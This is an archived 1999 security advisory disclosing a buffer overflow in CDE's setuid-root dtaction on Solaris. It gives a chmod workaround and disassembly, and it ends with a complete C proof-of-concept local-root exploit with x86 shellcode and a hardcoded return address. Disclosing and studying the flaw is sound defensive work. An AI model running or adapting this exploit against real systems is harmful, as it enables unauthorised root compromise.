Hello,
I discovered the following security problem in dtaction, part of CDE:
Description
-----------
/usr/dt/bin/dtaction contains a buffer overflow when a username of more than
1024 bytes is supplied as an argument.
Impact
------
The buffer overflow can lead to local root compromise.
Workaround
----------
dtaction allows local or remote invocation of an 'Action' as any user. This
is why dtaction is setuid root. If this feature is not needed the setuid bits
can be removed:
as root type: chmod 555 /usr/dt/bin/dtaction
dtaction can then still be used to invoke local and remote 'Actions' as the
user invoking dtaction.
Affected systems
----------------
Although the overflow is present in most implementations, exploiting it is
very much system dependent. Below an example exploit for Solaris 7 x86 is
is given.
The only systems I have checked were:
Solaris 7, 2.6, 2.5.1
Background
----------
Despite the fact that Georgi Gunski found a buffer overflow in dtaction in
1997, no-one apparently checked dtaction any further. The overflow that was
discovered then appeared to be due to a bug in the shared library libDtSvc.so,
which was subsequently fixed. Even though the Sun Security Bulletin 164 at
that time said:
Due to insufficient bounds checking on arguments supplied
to dtaction, it is possible to overwrite the internal stack space of
dtaction. As dtaction is setuid root, this vulnerability may be
exploited to gain root access.
Apparently not all user supplied arguments were checked.
Supplying a username over 1024 with the argument -user will overflow an
internal buffer used to log a message to /var/adm/sulog. Although the
overflow can succeed, a message will always be logged to /var/adm/sulog.
The overflow is in a function called AddSuLog, which is called from a function
LogFailure, which in turn is called from a function UnknownUser:
The code at the end of the routine UnkownUser() looks like this (all on
Solaris 2.6):
UnknownUser+0x025c: call LogFailure
UnknownUser+0x0260: nop
UnknownUser+0x0264: call 0x00023904 [unresolved PLT 54: XmStringFree]
UnknownUser+0x0268: mov %i3, %o0
UnknownUser+0x026c: call 0x00023904 [unresolved PLT 54: XmStringFree]
UnknownUser+0x0270: mov %i2, %o0
UnknownUser+0x0274: call 0x00023910 [unresolved PLT 55: XtFree]
UnknownUser+0x0278: mov %i4, %o0
UnknownUser+0x027c: sethi %hi(0x23c00), %o0
UnknownUser+0x0280: call 0x000237a8 [unresolved PLT 25: XtAppMainLoop]
UnknownUser+0x0284: ld [%o0 + 0x3c4], %o0
UnknownUser+0x0288: ret
UnknownUser+0x028c: restore
According to the discription of XtAppMainLoop, it will never return. This will
make the overflow not exploitable on systems where the return address on the
stack is for the caller of the caller (like sparc). However, when we inspect
the function XtAppMainLoop on Solaris 2.6 we find:
XtAppMainLoop : save %sp, -0xc0, %sp
XtAppMainLoop+0x0004: tst %i0
XtAppMainLoop+0x0008: be XtAppMainLoop+0x30
XtAppMainLoop+0x000c: add %fp, -0x60, %o1
XtAppMainLoop+0x0010: ld [%i0 + 0x224], %o0
XtAppMainLoop+0x0014: tst %o0
XtAppMainLoop+0x0018: be XtAppMainLoop+0x30
XtAppMainLoop+0x001c: add %fp, -0x60, %o1
XtAppMainLoop+0x0020: ld [%i0 + 0x224], %o1
XtAppMainLoop+0x0024: jmpl %o1, %o7
XtAppMainLoop+0x0028: mov %i0, %o0
XtAppMainLoop+0x002c: add %fp, -0x60, %o1
XtAppMainLoop+0x0030: call 0xef5a193c [unresolved PLT 181:
XtAppNextEvent]
XtAppMainLoop+0x0034: mov %i0, %o0
XtAppMainLoop+0x0038: call 0xef5a1948 [unresolved PLT 182:
XtDispatchEvent]
XtAppMainLoop+0x003c: add %fp, -0x60, %o0
XtAppMainLoop+0x0040: ldsb [%i0 + 0x21c], %o0
XtAppMainLoop+0x0044: tst %o0
XtAppMainLoop+0x0048: be XtAppMainLoop+0x30
XtAppMainLoop+0x004c: add %fp, -0x60, %o1
XtAppMainLoop+0x0050: tst %i0
XtAppMainLoop+0x0054: be XtAppMainLoop+0x78
XtAppMainLoop+0x0058: nop
XtAppMainLoop+0x005c: ld [%i0 + 0x228], %o0
XtAppMainLoop+0x0060: tst %o0
XtAppMainLoop+0x0064: be XtAppMainLoop+0x78
XtAppMainLoop+0x0068: nop
XtAppMainLoop+0x006c: ld [%i0 + 0x228], %o1
XtAppMainLoop+0x0070: jmpl %o1, %o7
XtAppMainLoop+0x0074: mov %i0, %o0
XtAppMainLoop+0x0078: ret
XtAppMainLoop+0x007c: restore
It seems that this function might end if a certain test fails. It is unclear
if this is a test under control of the user.
Below is a simple C program which shows the problem on Solaris 7 x86, which
has a stack with the return address of the caller on it.
Regards,
Job
---
Job de Haas jobat_private
ITSX bv http://www.itsx.com
-------8<-----------------------------------------------------------------
/*
* dtaction_ov.c
* Job de Haas
* (c) ITSX bv 1999
*
* This program demonstrates an overflow problem in /usr/dt/bin/dtaction.
* It has only been tested on Solaris 7 x86
* assembly code has been taken from ex_dtprintinfo86.c by unewn4that_private
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#define BUFLEN 998
char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id";
main()
{
char *argp[6], *envp[3];
char buf[2048];
unsigned long *p;
struct passwd *pw;
int buflen;
if ((pw = getpwuid(getuid())) == NULL) {
perror("getpwuid");
exit(1);
}
buflen = BUFLEN - strlen( pw->pw_name );
memset(buf,0x90,buflen);
strncpy( &buf[500], exploit_code, strlen(exploit_code));
/* set some pointers to values that keep code running */
p = (unsigned long *)&buf[buflen];
*p++ = 0x37dc779b;
*p++ = 0xdfaf6502;
*p++ = 0x08051230;
*p++ = 0x080479b8;
/* the return address. */
*p++ = 0x08047710;
*p = 0;
argp[0] = strdup("/usr/dt/bin/dtaction");
argp[1] = strdup("-u");
argp[2] = strdup(buf);
argp[3] = strdup("Run");
argp[4] = strdup("/usr/bin/id");
argp[5] = NULL;
if (!getenv("DISPLAY")) {
printf("forgot to set DISPLAY\n");
exit(1);
}
envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1);
strcpy(envp[0],"DISPLAY=");
strcat(envp[0],getenv("DISPLAY"));
envp[1] = NULL;
execve("/usr/dt/bin/dtaction",argp,envp);
}
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:03:16 PDT